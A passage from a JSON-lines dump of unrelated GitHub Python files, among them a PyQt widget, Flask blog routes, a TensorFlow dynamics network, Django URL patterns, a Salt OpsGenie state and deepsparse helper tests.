quit_btn.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n quit_btn.setStyleSheet(\"\"\"\n font: bold 24pt;\n color: #ffcc44;\n background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1,\n stop: 0 #ff7755, stop: 1 #994433);\n \"\"\")\n\n ok_btn = QPushButton('Done',self)\n ok_btn.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n ok_btn.setStyleSheet(\"\"\"\n font: bold 32pt;\n color: #ffcc44;\n background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1,\n stop: 0 #5577ff, stop: 1 #334499);\n \"\"\")\n\n\n lyt = QGridLayout()\n lyt.addWidget(lbl,0,0,1,2)\n lyt.addWidget(tbl,1,0,1,2)\n lyt.addWidget(quit_btn,2,0,1,1)\n lyt.addWidget(ok_btn,2,1,1,1)\n\n lyt.setRowStretch(1,2)\n self.setLayout(lyt)\n\n ok_btn.clicked.connect(self.on_btn_clicked)\n quit_btn.clicked.connect(self.terminate)\n\n self.show()\n\n def terminate(self):\n QCoreApplication.quit()\n\n def on_btn_clicked(self):\n self.done.emit()\n\n","repo_name":"pmackenz/PySmartLights","sub_path":"SettingsWidget.py","file_name":"SettingsWidget.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21305851214","text":"\"\"\"\nThe determinant of a 2x2 matrix is the product of the elements on the main\ndiagonal minus the product of the elements off the main diagonal.\n\nExamples\n\n>>> M = ((3,1), (5,2))\n>>> det(M)\n1\n\"\"\"\n\nimport numpy\n\n\ndef det_numpy(matrix):\n return numpy.linalg.det(matrix)\n\n\ndef det(matrix):\n \"To calc matrix det: ab-bc\"\n tl = len(matrix[0]) # total items in line\n diagonal = [matrix[i][i] for i in xrange(tl)]\n diagonal_revert = [matrix[i][(tl-1)-i] for i in xrange(tl)]\n\n mult_diagonal = reduce(lambda x, y: x*y, diagonal)\n mult_diagonal_revert = reduce(lambda x, y: x*y, diagonal_revert)\n\n return (mult_diagonal - mult_diagonal_revert)\n","repo_name":"valdergallo/pyschool_solutions","sub_path":"Tuples/determinant.py","file_name":"determinant.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2749147145","text":"from albo.acquisition import OptimizationViaALBO\nfrom albo.acquisition import OptimizationViaCMCO\nimport torch\nimport numpy as np\nimport json\nfrom tqdm import tqdm\nfrom print_results_exp import make_feasibility_plot_2d\nfrom matplotlib import pyplot as plt\n\n\ndef gardner_function(x):\n x_1 = x[:, 0].unsqueeze(1)\n x_2 = x[:, 1].unsqueeze(1)\n\n f =-(np.cos(2.0 * x_1) * np.cos(x_2) + np.sin(x_1))\n c = np.cos(x_1) * np.cos(x_2) - np.sin(x_1) * np.sin(x_2) + 0.5\n\n return torch.cat((f, c), dim=1)\n\n\ndef plot_gardner(train_x=None):\n fh = plt.figure(figsize=[6, 6])\n axes = fh.subplots()\n contours = make_feasibility_plot_2d(axes, gardner_function,\n bounds=torch.tensor([[0.0, 0.0], [6.0, 6.0]], dtype=torch.double))\n if train_x is not None:\n train_x1 = train_x[:, 0]\n train_x2 = train_x[:, 1]\n axes.scatter(train_x1, train_x2, marker='*', zorder=10, color='b', s=50)\n plt.show()\n\n\ndef optimize_gardner(train_x=None,\n values=None,\n bounds=torch.tensor([[0.0, 0.0], [6.0, 6.0]], dtype=torch.double),\n penalty_rate=5.,\n eta=1.,\n number_of_outer_loops=30,\n number_of_inner_loops=60,\n print_trace=False,\n mix=True,\n exploitation=False,\n mc_samples=1024,\n raw_samples=100,\n number_restarts=6,\n seed=100,\n seed_points=5,\n noise_level=1e-4,\n name_objective=\"classic\",\n case=\"albo\"\n ):\n if case == \"albo\":\n opt = OptimizationViaALBO(joint_function=gardner_function,\n bounds=bounds,\n train_x=train_x,\n values=values,\n number_of_inner_loops=number_of_inner_loops,\n number_of_outer_loops=number_of_outer_loops,\n penalty_rate=penalty_rate,\n eta=eta,\n print_trace=print_trace,\n mix=mix,\n exploitation=exploitation,\n mc_samples=mc_samples,\n raw_samples=raw_samples,\n number_restarts=number_restarts,\n seed=seed,\n seed_points=seed_points,\n noise_level=noise_level,\n name_objective=name_objective)\n if case == \"cmco\":\n opt = OptimizationViaCMCO(joint_function=gardner_function,\n bounds=bounds,\n train_x=train_x,\n values=values,\n number_of_inner_loops=number_of_inner_loops,\n number_of_outer_loops=number_of_outer_loops,\n print_trace=print_trace,\n mix=mix,\n exploitation=exploitation,\n mc_samples=mc_samples,\n raw_samples=raw_samples,\n number_restarts=number_restarts,\n seed=seed,\n seed_points=seed_points,\n noise_level=noise_level)\n trace = opt.optimize()\n return trace\n\n\nif __name__ == '__main__':\n results = []\n for i in tqdm(range(1, 2)):\n results.append(\n optimize_gardner(\n train_x=None,\n case=\"albo\",\n mix=True,\n exploitation=False,\n name_objective=\"classic\",\n penalty_rate=5,\n eta=1,\n number_of_outer_loops=60,\n number_of_inner_loops=60\n )\n )\n with open(\"my_results_gardner_5_1_classic_.json\", \"w\") as json_file:\n json.dump(results, json_file)\n\n with open(\"my_results_gardner_5_1_classic_.json\", \"r\") as file:\n data = json.load(file)\n number_of_experiment_to_plot = 0\n number_of_outer_iteration_to_plot = 30\n trace = data[number_of_experiment_to_plot]\n train_x = torch.tensor(trace['seed_points'], dtype=torch.double)\n train_x = torch.cat((train_x, torch.tensor(trace['x'][0:number_of_outer_iteration_to_plot])[:, 0, :]))\n plot_gardner(train_x)","repo_name":"dashasabira/albo2023","sub_path":"albo/experiments/optimize_gardner.py","file_name":"optimize_gardner.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34307679","text":"from flask import render_template, url_for, flash, redirect, request, abort, Blueprint\r\nfrom flask_app import db, bcrypt\r\nfrom flask_app.blog.forms import PostBlogForm\r\nfrom flask_app.models import User, Blog_Post\r\nfrom flask_login import login_required, current_user\r\n\r\n\r\nblog_bp = Blueprint('blog_bp', __name__)\r\n\r\n\r\n### View Blog ###\r\n@blog_bp.route(\"/blog\")\r\ndef blog():\r\n page = request.args.get('page', 1, type=int)\r\n posts = Blog_Post.query.order_by(Blog_Post.date_posted.desc()).paginate(page=page, per_page=5)\r\n return render_template('blog.html', posts=posts)\r\n\r\n\r\n## post new blog post ##\r\n\r\n@blog_bp.route(\"/Blog_Post/new\", methods=['GET', 'POST'])\r\n@login_required\r\ndef new_blog_post():\r\n form = PostBlogForm()\r\n if form.validate_on_submit():\r\n post = Blog_Post(title=form.title.data,\r\n content=form.content.data,\r\n author=current_user)\r\n db.session.add(post)\r\n db.session.commit()\r\n flash('Your post has been created!', 'success')\r\n return redirect(url_for('blog_bp.blog'))\r\n return render_template('post_update_blog.html',\r\n title='New Post',\r\n form=form,\r\n legend='New Post')\r\n\r\n\r\n### Route for every blog post to have unique page ###\r\n@blog_bp.route(\"/Blog_Post/\")\r\ndef blog_by_id(post_id):\r\n post = Blog_Post.query.get_or_404(post_id)\r\n return render_template('blog_by_id.html', title=post.title, post=post)\r\n\r\n\r\n## Update Blog Posts ##\r\n\r\n@blog_bp.route(\"/Blog_Post//update\", methods=['GET', 'POST'])\r\n@login_required\r\ndef update_blog_post(post_id):\r\n # making sure the post is real or sends user to 404 page\r\n post = Blog_Post.query.get_or_404(post_id)\r\n\r\n # making sure the person posting is the actual author\r\n # 403 is forbidden route\r\n if post.author != current_user:\r\n abort(403)\r\n form = PostBlogForm()\r\n\r\n # making sure the logic for form submission (updating) is good\r\n if form.validate_on_submit():\r\n # then we just update our post\r\n post.title = form.title.data\r\n post.content = form.content.data\r\n db.session.commit()\r\n\r\n flash('Your post has been updated!', 'success')\r\n return redirect(url_for('blog_bp.blog_by_id', post_id=post.id))\r\n\r\n\r\n elif request.method == 'GET':\r\n form.title.data = post.title\r\n form.content.data = post.content\r\n\r\n return render_template('post_update_blog.html', title=\"Update Post\",\r\n form=form, legend='Update Post')\r\n\r\n# -- Delete route --\r\n# only accepting POST requests since\r\n# this will be only shown on the delete post modal\r\n@blog_bp.route(\"/Blog_Post//delete\", methods = ['POST'])\r\n@login_required\r\ndef delete_blog_post(post_id):\r\n post = Blog_Post.query.get_or_404(post_id)\r\n if post.author != current_user:\r\n abort(403)\r\n # adding deletion of post to the database session\r\n db.session.delete(post)\r\n # commiting the deletion\r\n db.session.commit()\r\n # flash message telling user the post has been delete\r\n flash('Your post has been deleted!', 'success')\r\n return redirect(url_for('main_bp.home'))\r\n\r\n\r\n\r\n\r\n@blog_bp.route(\"/user/\")\r\ndef user_posts(username):\r\n page = request.args.get('page', 1, type=int)\r\n user = User.query.filter_by(username=username).first_or_404()\r\n posts = Blog_Post.query.filter_by(author=user)\\\r\n .order_by(Blog_Post.date_posted.desc())\\\r\n .paginate(page=page, per_page=5)\r\n\r\n return render_template('user_posts.html', posts=posts, user=user)\r\n","repo_name":"punctuationmarks/Flask--artist-gallery","sub_path":"flask_app/blog/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"26584674800","text":"import tensorflow as tf\nimport numpy as np\nimport scipy.io as sio\nimport sys\n\ndef load_matfile(matfile):\n # Load matlab mat file \n data = sio.loadmat(matfile)\n input_data = data['Input_data']\n output_data = data['Output_data']\n return input_data, output_data\n\n# Store data\nclass Data:\n def __init__(self,input_data, output_data):\n self.input_data = input_data\n self.output_data = output_data\n def get_batch(self, batch_size):\n \n index = np.random.choice(len(self.input_data), batch_size)\n input_batch = [self.input_data[idx] for idx in index]\n output_batch = [self.output_data[idx] for idx in index]\n return input_batch, output_batch\n\n\n# Acrobot network\nclass Network:\n def __init__(self, lrn_rate, total_epoch, batch_size, network_type, model_path, log_path):\n self.lrn_rate = lrn_rate\n self.total_epoch = total_epoch\n self.batch_size = batch_size\n self.model_path = model_path\n \n # build the network \n if network_type == 'Feedforward':\n self.build_feedforward_network()\n else:\n print('No such type of network')\n sys.exit(0)\n self.init = tf.global_variables_initializer()\n self.saver = tf.train.Saver()\n self.summary_writer = tf.summary.FileWriter(log_path,tf.get_default_graph())\n \n # count for loss record used in tensorboard\n self.count = 0\n\n def build_feedforward_network(self):\n # Two hidden layers feedforward network\n # Build the computation graph\n # Input [sita1 sita2 w1 w2 tao] of t\n # Output [sita1 sita2 w1 w2] of t+1\n self.input_dim = 5\n self.output_dim = 4\n \n hidden_units = [32,32]\n \n print(\"build feedforward network with hidden units %d,%d\", hidden_units[0], hidden_units[1])\n self.input_ph = tf.placeholder(tf.float32, shape=[None, self.input_dim], name=\"input\")\n self.output_ph = tf.placeholder(tf.float32, shape=[None, self.output_dim], name=\"output\")\n \n with tf.name_scope('dense_layers'):\n self.hidden_layer1 = tf.layers.dense(self.input_ph, hidden_units[0], activation = tf.nn.relu)\n self.hidden_layer2 = tf.layers.dense(self.hidden_layer1, hidden_units[1], activation = tf.nn.relu)\n with tf.name_scope('prediction'):\n self.prediction = tf.layers.dense(self.hidden_layer2, self.output_dim, activation = None)\n \n with tf.name_scope('loss'):\n # Define loss\n self.loss = tf.losses.mean_squared_error(self.output_ph, self.prediction)\n with tf.name_scope('optimize'):\n # Step of optimization\n self.train_step = tf.train.AdamOptimizer(learning_rate = self.lrn_rate).minimize(self.loss)\n\n def load_model_weights(self, sess):\n self.saver.restore(sess, self.model_path)\n \n def save_model_weights(self, sess):\n self.saver.save(sess, self.model_path)\n \n def train(self, sess, train_file, reload_model = False):\n # Train our neural network\n input_data, output_data = load_matfile(train_file)\n data = Data(input_data, output_data)\n if reload_model is True:\n self.load_model_weights(self.model_path)\n else:\n sess.run(self.init)\n \n for epoch in range(self.total_epoch):\n input_batch, output_batch = data.get_batch(self.batch_size)\n feed_dict = {self.input_ph:input_batch, self.output_ph:output_batch}\n cur_loss, _ = sess.run([self.loss, self.train_step], feed_dict=feed_dict)\n if epoch % 1000 == 0:\n print(\"epoch :\",epoch,\"\\tloss:\",cur_loss)\n summary = tf.Summary(value=[tf.Summary.Value(tag=\"training_loss\",simple_value=cur_loss)])\n self.summary_writer.add_summary(summary, self.count)\n self.count += 1\n\n print(\"Finish training\")\n self.save_model_weights(sess)\n \n \n def test(self, sess, test_file, reload_model = False):\n # Test the results of the training of our neural network\n test_input_data, test_output_data = load_matfile(test_file)\n\n # If we want to test the model only and not train\n if reload_model is True:\n self.load_model_weights(sess)\n \n feed_dict = {self.input_ph:test_input_data, self.output_ph:test_output_data}\n test_loss = sess.run(self.loss, feed_dict=feed_dict)\n print(\"test loss:\",test_loss)\n \n def next_state(self, sess, prev_state, control_input):\n # Predict the next state based on our trained neural network\n input_state = np.hstack((prev_state, control_input))\n feed_dict = {self.input_ph:input_state}\n return sess.run(self.prediction)\n \n\n","repo_name":"puneetsinghal/model_predictive_control","sub_path":"acrobot_mpc_train/mpcNetwork.py","file_name":"mpcNetwork.py","file_ext":"py","file_size_in_byte":4816,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"6326631876","text":"from django.urls import path\nfrom . import widget, admin_menu, admin_web_menu, password, admin_privilege, itemcategory, \\\n admin_account, user_account, userdata, loans, tester, contentcategory, statistics, dashboard, contents\n\nurlpatterns = [\n path('tester/', tester.tests, name=\"tester\"),\n path('statistics/', statistics.get_stats, name=\"statistics\"),\n path('groups/', statistics.get_group, name=\"groups\"),\n\n path('dashboard/list/', dashboard.list_record, name=\"dashboard_list\"),\n path('dashboard/filter/', dashboard.list_filter, name=\"dashboard_filter\"),\n path('dashboard/search/', dashboard.list_search, name=\"dashboard_search\"),\n path('dashboard/download/', dashboard.download, name=\"dashboard_download\"),\n path('dashboard/validate_id/', dashboard.preview, name=\"dashboard_preview\"),\n\n path('adminmenu/menus/', admin_menu.menus, name=\"admin_menus\"),\n path('adminmenu/checkmenu/', admin_menu.check_page, name=\"admin_check_page\"),\n path('adminmenu/list/', admin_menu.list_record, name=\"admin_menu_list\"),\n path('adminmenu/filter/', admin_menu.list_filter, name=\"admin_menu_filter\"),\n path('adminmenu/search/', admin_menu.list_search, name=\"admin_menu_search\"),\n path('adminmenu/download/', admin_menu.download, name=\"admin_menu_download\"),\n path('adminmenu/validate_id/', admin_menu.preview, name=\"admin_menu_preview\"),\n\n path('adminwebmenu/checkmenu/', admin_web_menu.check_page, name=\"admin_web_check_page\"),\n path('adminwebmenu/list/', admin_web_menu.list_record, name=\"admin_menu_list\"),\n path('adminwebmenu/filter/', admin_web_menu.list_filter, name=\"admin_menu_filter\"),\n path('adminwebmenu/search/', admin_web_menu.list_search, name=\"admin_menu_search\"),\n path('adminwebmenu/download/', admin_web_menu.download, name=\"admin_menu_download\"),\n path('adminwebmenu/validate_id/', admin_web_menu.preview, name=\"admin_menu_preview\"),\n\n path('adminprivilege/list/', admin_privilege.list_record, name=\"admin_privilege_list\"),\n path('adminprivilege/filter/', admin_privilege.list_filter, name=\"admin_privilege_filter\"),\n path('adminprivilege/search/', admin_privilege.list_search, name=\"admin_privilege_search\"),\n path('adminprivilege/download/', admin_privilege.download, name=\"admin_privilege_download\"),\n path('adminprivilege/validate_id/', admin_privilege.preview, name=\"admin_privilege_preview\"),\n\n path('admin/list/', admin_account.list_record, name=\"admin_list\"),\n path('admin/filter/', admin_account.list_filter, name=\"admin_filter\"),\n path('admin/search/', admin_account.list_search, name=\"admin_search\"),\n path('admin/download/', admin_account.download, name=\"admin_download\"),\n path('admin/validate_id/', admin_account.preview, name=\"admin_preview\"),\n\n path('user/list/', user_account.list_record, name=\"user_list\"),\n path('user/filter/', user_account.list_filter, name=\"user_filter\"),\n path('user/search/', user_account.list_search, name=\"user_search\"),\n path('user/download/', user_account.download, name=\"user_download\"),\n path('user/validate_id/', user_account.preview, name=\"user_preview\"),\n\n path('widget/list/', widget.list_record, name=\"widget_list\"),\n path('widget/filter/', widget.list_filter, name=\"widget_list_filter\"),\n path('widget/search/', widget.list_search, name=\"widget_list_search\"),\n path('widget/download/', widget.download, name=\"download_widget\"),\n path('widget/validate_id/', widget.preview, name=\"widget_preview\"),\n\n path('validate_password_id/', password.validate_password_id, name=\"validate_password_id\"),\n\n path('userdata/getinfo/', userdata.get_user_profile, name=\"get_user_profile\"),\n path('userdata/get_data/', userdata.user_data_session, name=\"user_data\"),\n\n path('loan/list/', loans.list_record, name=\"loan_list\"),\n path('loan/filter/', loans.list_filter, name=\"loan_filter\"),\n path('loan/search/', loans.list_search, name=\"loan_search\"),\n path('loan/download/', loans.download, name=\"loan_download\"),\n path('loan/validate_id/', loans.preview, name=\"loan_preview\"),\n path('loan/validate_data/', loans.validate_data, name=\"validate_data\"),\n path('loan/loan_history/', loans.loan_history, name=\"loan_history\"),\n path('loan/loan_check/', loans.check_previous_debt, name=\"check_previous_debt\"),\n path('loan/loan_check_allow/', loans.allow_debtor, name=\"allow_debtor\"),\n\n path('contentcategory/list/', contentcategory.list_record, name=\"content_category_list\"),\n path('contentcategory/filter/', contentcategory.list_filter, name=\"content_category_filter\"),\n path('contentcategory/search/', contentcategory.list_search, name=\"content_category_search\"),\n path('contentcategory/download/', contentcategory.download, name=\"content_category_download\"),\n path('contentcategory/validate_id/', contentcategory.preview, name=\"content_category_preview\"),\n path('contentcategory/category/', contentcategory.category, name=\"content_category_category\"),\n\n path('item_category/list/', itemcategory.list_record, name=\"item_category_list\"),\n path('item_category/filter/', itemcategory.list_filter, name=\"item_category_filter\"),\n path('item_category/search/', itemcategory.list_search, name=\"item_category_search\"),\n path('item_category/download/', itemcategory.download, name=\"item_category_download\"),\n path('item_category/validate_id/', itemcategory.preview, name=\"item_category_preview\"),\n path('item_category/category/', itemcategory.category, name=\"item_category_category\"),\n\n path('contents/list/', contents.list_record, name=\"contents_list\"),\n path('contents/filter/', contents.list_filter, name=\"contents_filter\"),\n path('contents/search/', contents.list_search, name=\"contents_search\"),\n path('contents/download/', contents.download, name=\"contents_download\"),\n path('contents/validate_id/', contents.preview, name=\"contents_preview\"),\n\n]\n","repo_name":"ShuaibBashiru/sentimentanalysis","sub_path":"server/backend/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":5885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12849230894","text":"\"\"\"\nCreate/Close an alert in OpsGenie\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n.. versionadded:: 2018.3.0\n\nThis state is useful for creating or closing alerts in OpsGenie\nduring state runs.\n\n.. code-block:: yaml\n\n used_space:\n disk.status:\n - name: /\n - maximum: 79%\n - minimum: 20%\n\n opsgenie_create_action_sender:\n opsgenie.create_alert:\n - api_key: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\n - reason: 'Disk capacity is out of designated range.'\n - name: disk.status\n - onfail:\n - disk: used_space\n\n opsgenie_close_action_sender:\n opsgenie.close_alert:\n - api_key: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\n - name: disk.status\n - require:\n - disk: used_space\n\n\"\"\"\n\nimport inspect\nimport logging\n\nimport salt.exceptions\n\nlog = logging.getLogger(__name__)\n\n\ndef create_alert(name=None, api_key=None, reason=None, action_type=\"Create\"):\n \"\"\"\n Create an alert in OpsGenie. Example usage with Salt's requisites and other\n global state arguments could be found above.\n\n Required Parameters:\n\n api_key\n It's the API Key you've copied while adding integration in OpsGenie.\n\n reason\n It will be used as alert's default message in OpsGenie.\n\n Optional Parameters:\n\n name\n It will be used as alert's alias. If you want to use the close\n functionality you must provide name field for both states like\n in above case.\n\n action_type\n OpsGenie supports the default values Create/Close for action_type.\n You can customize this field with OpsGenie's custom actions for\n other purposes like adding notes or acknowledging alerts.\n \"\"\"\n\n _, _, _, values = inspect.getargvalues(inspect.currentframe())\n log.info(\"Arguments values: %s\", values)\n\n ret = {\"result\": \"\", \"name\": \"\", \"changes\": \"\", \"comment\": \"\"}\n\n if api_key is None or reason is None:\n raise salt.exceptions.SaltInvocationError(\"API Key or Reason cannot be None.\")\n\n if __opts__[\"test\"] is True:\n ret[\n \"comment\"\n ] = 'Test: {} alert request will be processed using the API Key=\"{}\".'.format(\n action_type, api_key\n )\n\n # Return ``None`` when running with ``test=true``.\n ret[\"result\"] = None\n\n return ret\n\n response_status_code, response_text = __salt__[\"opsgenie.post_data\"](\n api_key=api_key, name=name, reason=reason, action_type=action_type\n )\n\n if 200 <= response_status_code < 300:\n log.info(\n \"POST Request has succeeded with message: %s status code: %s\",\n response_text,\n response_status_code,\n )\n ret[\n \"comment\"\n ] = 'Test: {} alert request will be processed using the API Key=\"{}\".'.format(\n action_type, api_key\n )\n ret[\"result\"] = True\n else:\n log.error(\n \"POST Request has failed with error: %s status code: %s\",\n response_text,\n response_status_code,\n )\n ret[\"result\"] = False\n\n return ret\n\n\ndef close_alert(\n name=None, api_key=None, reason=\"Conditions are met.\", action_type=\"Close\"\n):\n \"\"\"\n Close an alert in OpsGenie. It's a wrapper function for create_alert.\n Example usage with Salt's requisites and other global state arguments\n could be found above.\n\n Required Parameters:\n\n name\n It will be used as alert's alias. If you want to use the close\n functionality you must provide name field for both states like\n in above case.\n\n Optional Parameters:\n\n api_key\n It's the API Key you've copied while adding integration in OpsGenie.\n\n reason\n It will be used as alert's default message in OpsGenie.\n\n action_type\n OpsGenie supports the default values Create/Close for action_type.\n You can customize this field with OpsGenie's custom actions for\n other purposes like adding notes or acknowledging alerts.\n \"\"\"\n if name is None:\n raise salt.exceptions.SaltInvocationError(\"Name cannot be None.\")\n\n return create_alert(name, api_key, reason, action_type)\n","repo_name":"saltstack/salt","sub_path":"salt/states/opsgenie.py","file_name":"opsgenie.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"25299597312","text":"# -*- coding: utf-8 -*-\n\n'''\nEscreva a sua solução aqui\nCode your solution here\nEscriba su solución aquí\n'''\n\n# se alguem passa em 1 e outro em 4, comecara em 1 e terminara em 14: 14 total\n# 1º em 5 e 2º em 6: comecara em 5 e terminara em 6+10 = 11 total\n# está dando maior\n\nn = int(input())\n\nlista = []\nfor _ in range(n):\n lista.append(int(input()))\n\nlista.sort()\n\nt = 10\n\nfor i in range(1, len(lista)):\n if lista[i] - lista[i-1] < 10:\n t += lista[i] - lista[i-1]\n else:\n t += 10\n\nprint(t)\n","repo_name":"thiago-dsd/PO1-Beecrowd","sub_path":"Revisão - Prova I/2390.py","file_name":"2390.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37730402102","text":"import onnx\n\nimport pytest\nfrom deepsparse.transformers.helpers import (\n get_deployment_path,\n get_transformer_layer_init_names,\n truncate_transformer_onnx_model,\n)\nfrom sparsezoo import Model\n\n\n@pytest.mark.parametrize(\n \"stub\",\n [\n (\n \"zoo:nlp/text_classification/distilbert-none/pytorch/huggingface/\"\n \"mnli/pruned80_quant-none-vnni\"\n ),\n ],\n)\ndef test_get_deployment_path(stub):\n assert get_deployment_path(stub)\n\n\n@pytest.fixture(scope=\"session\")\ndef model_stubs():\n return {\n \"bert\": (\n \"zoo:nlp/question_answering/bert-base/pytorch/huggingface/squad/\"\n \"pruned95_obs_quant-none\"\n ),\n \"distilbert\": (\n \"zoo:nlp/sentiment_analysis/distilbert-none/pytorch/huggingface/\"\n \"sst2/base-none\"\n ),\n \"obert\": (\n \"zoo:nlp/question_answering/obert-base/pytorch/huggingface/squad/\"\n \"base-none\"\n ),\n }\n\n\n@pytest.fixture(scope=\"session\")\ndef get_model_onnx_path(model_stubs):\n model_onnx_paths = {}\n for model_name, model_stub in model_stubs.items():\n model = Model(model_stub)\n onnx_path = model.onnx_model.path\n model_onnx_paths[model_name] = onnx_path\n\n def _get_model_onnx_path(model_name):\n return model_onnx_paths[model_name]\n\n return _get_model_onnx_path\n\n\n@pytest.fixture()\ndef get_onnx_final_node():\n def _get_onnx_final_node(model_onnx, output_name):\n return next(\n (node for node in model_onnx.graph.node if node.output[0] == output_name),\n None,\n )\n\n return _get_onnx_final_node\n\n\n@pytest.mark.parametrize(\n \"model_name,expected_init_names\",\n [\n (\n \"bert\",\n [\n \"bert.encoder.layer.0.output.LayerNorm.bias\",\n \"bert.encoder.layer.1.output.LayerNorm.bias\",\n \"bert.encoder.layer.2.output.LayerNorm.bias\",\n \"bert.encoder.layer.3.output.LayerNorm.bias\",\n \"bert.encoder.layer.4.output.LayerNorm.bias\",\n \"bert.encoder.layer.5.output.LayerNorm.bias\",\n \"bert.encoder.layer.6.output.LayerNorm.bias\",\n \"bert.encoder.layer.7.output.LayerNorm.bias\",\n \"bert.encoder.layer.8.output.LayerNorm.bias\",\n \"bert.encoder.layer.9.output.LayerNorm.bias\",\n \"bert.encoder.layer.10.output.LayerNorm.bias\",\n \"bert.encoder.layer.11.output.LayerNorm.bias\",\n ],\n ),\n (\n \"distilbert\",\n [\n \"distilbert.transformer.layer.0.output_layer_norm.bias\",\n \"distilbert.transformer.layer.1.output_layer_norm.bias\",\n \"distilbert.transformer.layer.2.output_layer_norm.bias\",\n \"distilbert.transformer.layer.3.output_layer_norm.bias\",\n \"distilbert.transformer.layer.4.output_layer_norm.bias\",\n \"distilbert.transformer.layer.5.output_layer_norm.bias\",\n ],\n ),\n (\n \"obert\",\n [\n \"bert.encoder.layer.0.output.LayerNorm.bias\",\n \"bert.encoder.layer.1.output.LayerNorm.bias\",\n \"bert.encoder.layer.2.output.LayerNorm.bias\",\n \"bert.encoder.layer.3.output.LayerNorm.bias\",\n \"bert.encoder.layer.4.output.LayerNorm.bias\",\n \"bert.encoder.layer.5.output.LayerNorm.bias\",\n \"bert.encoder.layer.6.output.LayerNorm.bias\",\n \"bert.encoder.layer.7.output.LayerNorm.bias\",\n \"bert.encoder.layer.8.output.LayerNorm.bias\",\n \"bert.encoder.layer.9.output.LayerNorm.bias\",\n \"bert.encoder.layer.10.output.LayerNorm.bias\",\n \"bert.encoder.layer.11.output.LayerNorm.bias\",\n ],\n ),\n ],\n)\ndef test_get_transformer_layer_init_names(\n model_name,\n expected_init_names,\n get_model_onnx_path,\n):\n model_onnx_path = get_model_onnx_path(model_name)\n model = onnx.load(model_onnx_path)\n\n init_names = get_transformer_layer_init_names(model)\n assert init_names == expected_init_names\n\n\n@pytest.mark.parametrize(\n \"model_name,emb_extraction_layer,expected_final_node_name\",\n [\n (\"bert\", -1, \"Add_2616\"),\n (\"bert\", 5, \"Add_1332\"),\n (\"bert\", 0, \"Add_262\"),\n (\"bert\", \"Add_262\", \"Add_262\"),\n (\"distilbert\", -1, \"Add_515\"),\n (\"distilbert\", 2, \"Add_269\"),\n (\"distilbert\", 0, \"Add_105\"),\n (\"distilbert\", \"Add_105\", \"Add_105\"),\n (\"obert\", -1, \"Add_1158\"),\n (\"obert\", 5, \"Add_594\"),\n (\"obert\", 0, \"Add_124\"),\n (\"obert\", \"Add_124\", \"Add_124\"),\n ],\n)\ndef test_truncate_transformer_onnx_model(\n model_name,\n emb_extraction_layer,\n expected_final_node_name,\n get_model_onnx_path,\n get_onnx_final_node,\n):\n model_onnx_path = get_model_onnx_path(model_name)\n output_name = \"embedding\"\n\n (truncated_onnx_path, output_names, _,) = truncate_transformer_onnx_model(\n model_path=model_onnx_path,\n emb_extraction_layer=emb_extraction_layer,\n hidden_layer_size=None,\n output_name=output_name,\n output_path=None,\n )\n\n truncated_onnx = onnx.load(truncated_onnx_path)\n assert len(truncated_onnx.graph.output) == 1\n assert truncated_onnx.graph.output[0].name == output_name\n final_node = get_onnx_final_node(truncated_onnx, output_name)\n assert final_node.name == expected_final_node_name\n","repo_name":"neuralmagic/deepsparse","sub_path":"tests/deepsparse/transformers/test_helpers.py","file_name":"test_helpers.py","file_ext":"py","file_size_in_byte":5523,"program_lang":"python","lang":"en","doc_type":"code","stars":2498,"dataset":"github-code","pt":"78"} +{"seq_id":"3701471571","text":"for i in range(1, 13):\n print(\"No. {0:2} squared is {1:4} and cubed is {2:4}\".format(i, i ** 2, i ** 3))\n\nprint()\n\nfor i in range(1, 13):\n print(\"No. {0:<2} squared is {1:<3} and cubed is {2:<4}\".format(i, i ** 2, i ** 3))\n\nfirst_name = \"john\"\nlast_name = \"Cleese\"\nage = 78\n# print(first_name + last_name + age)\n\n\na = 45\nb = 15\nc = 3\nprint(a - b / c)\n\ndays = \"Mon, Tue, Wed, Thu, Fri, Sat, Sun\"\nprint(days[::5])\n\ndata = \"1:A, 2:B, 3:C, 4:D, 5:E, 6:F, 7:G, 8:H\"\nprint(data[::5])\n\nflower = \"blue violet\"\nprint('blue' in flower)\n","repo_name":"jcoshiro/HelloWorld","sub_path":"formating.py","file_name":"formating.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1756128196","text":"import pytest\nfrom game_params import *\nfrom blackjack_fixtures import *\n\n@pytest.mark.dealing\ndef test_deal_1(blackjack_1p):\n blackjack_1p.deal()\n for player in blackjack_1p.players:\n assert len(player.hand) == 2\n\n@pytest.mark.dealing\ndef test_deal_2(blackjack_2p):\n blackjack_2p.deal()\n for player in blackjack_2p.players:\n assert len(player.hand) == 2\n\n@pytest.mark.dealing\ndef test_deal_5(blackjack_5p):\n blackjack_5p.deal()\n for player in blackjack_5p.players:\n assert len(player.hand) == 2\n\n@pytest.mark.dealing\ndef test_deal_dealer(blackjack_2p):\n blackjack_2p.deal()\n assert 